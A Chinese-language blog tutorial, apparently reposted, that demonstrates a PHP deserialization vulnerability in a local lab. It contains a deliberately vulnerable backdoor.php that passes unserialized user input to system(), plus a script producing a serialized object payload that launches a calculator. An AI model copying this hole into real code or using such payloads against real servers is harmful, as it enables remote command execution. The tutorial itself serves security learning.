当前位置: 首页 > news >正文

[Web 安全] PHP 反序列化漏洞 —— PHP 反序列化漏洞演示案例

关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客

PHP 反序列化漏洞产生原因

PHP 反序列化漏洞产生的原因就是因为在反序列化过程中,unserialize() 接收的值可控。

0x01:环境搭建

这里笔者是使用 PhpStudy 搭建的环境,如果环境没有配置好的可以参考下面这篇文章:

PHP 环境配置:PhpStudy 环境配置

PhpStudy 安装好后开启它的 Apache 服务,并定位到它网站的根目录下:

将下面的代码保存到 backdoor.php 文件中,并放到 PhpStudy 的网站根目录下:

 # FileName: backdoor.php
 <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];
 ​
 if($command == True) {
     $cmd = unserialize($command);
     $cmd -> run();
 }

然后我们通过浏览器访问上面这个文件,如果访问成功就证明环境搭建好了:

 http://127.0.0.1/backdoor.php

0x02:漏洞复现

下面我们就来分析一下下面这个程序的代码(其实明摆着就是一个后门,只不过传参需要用到序列化的知识,后面笔者会以几道 CTF 题目做讲解,类型其实差不多):

 <?php
 highlight_file(__FILE__); // 高亮当前文件
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command;
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 }
 ​
 $command = $_GET['cmd'];  // 接收一个 GET 型的传参
 ​
 if($command == True) {    // 如果 $command 不为空就执行
     $cmd = unserialize($command); // 执行反序列化
     $cmd -> run();                // 调用 run() 函数
 }

我们可以看到,目标的 BackDoor 类中有一个 run() 函数,是用来执行系统命令的,这个命令是通过 BackDoor 中的 $command 属性获取的。

上面这个例子比较简单(而且不太真实),相信不少小伙伴已经想到了利用思路了,我们自己构造一个序列化的对象,给 $command 赋一个恶意命令,然后序列化后传给 cmd 执行即可。

首先,我们从网站上,把这个 BackDoor 类当下来,然后给 $command 赋予一个执行计算器的命令,然后实例化 BackDoor 类,并把这个实例化的值进行序列化:

 <?php
 ​
 // 后门 - 程序员自己留的哈
 class BackDoor {
     public $command = "calc"; // 这个命令会弹计算器
 ​
     public function run() {
         system($this -> command); // 执行 command 里的命令
     }
 } 
 ​
 $backdoor = new BackDoor();
 echo serialize($backdoor); // O:8:"BackDoor":1:{s:7:"command";s:4:"calc";}

如上,我们成功拿到了可以执行恶意代码的序列化参数,然后把这个参数通过 cmd 传给服务端即可(俺承认这个例子不咋地,不过基本上反序列化就是这么利用的):

相关文章:

  • mysql 学习19 MYSQL管理以及使用工具
  • 【机器学习】强化学习(2)——捋清深度强化学习的思路
  • Room记录搜索记录逻辑思路
  • QEMU源码全解析 —— 内存虚拟化(20)
  • MySQL 和 Elasticsearch 之间的数据同步
  • 国科大——数据挖掘(0812课程)——课后作业
  • 【阮一峰】20.注释指令
  • 禾迈电力电子嵌入式面经和参考答案
  • OpenCV计算摄影学(2)图像去噪函数denoise_TVL1()
  • 十类DeepSeek学术提示词分享
  • 代码异常(js中push)NO.4
  • Oracle 数据库基础入门(一):搭建数据管理基石
  • DeepSeek接入问题-Xshell5连接Ubuntu22失败解决方案
  • 网络安全复习资料
  • 音视频入门基础:RTP专题(12)——RTP中的NAL Unit Type简介
  • 基于MATLAB的OFDM通信系统仿真设计
  • 【NLP 27、文本分类任务 —— 传统机器学习算法】
  • QT 中的元对象系统(一):元对象和元数据
  • Android NFC功能开发指南
  • 深度求索DeepSeek:AI大模型的全域应用与技术突破
  • 微信做淘宝优惠券但网站是怎么建设但/一站式网络推广服务
  • webstack wordpress模板/北京seo多少钱
  • 佛山网站哪家最专业/上海网络推广招聘
  • 网络管理员web网站建设视频教程/爱战网关键词挖掘查询工具
  • wordpress微信说说/英文网站seo发展前景
  • 网站开发设计思路文档/济南seo关键词优化方案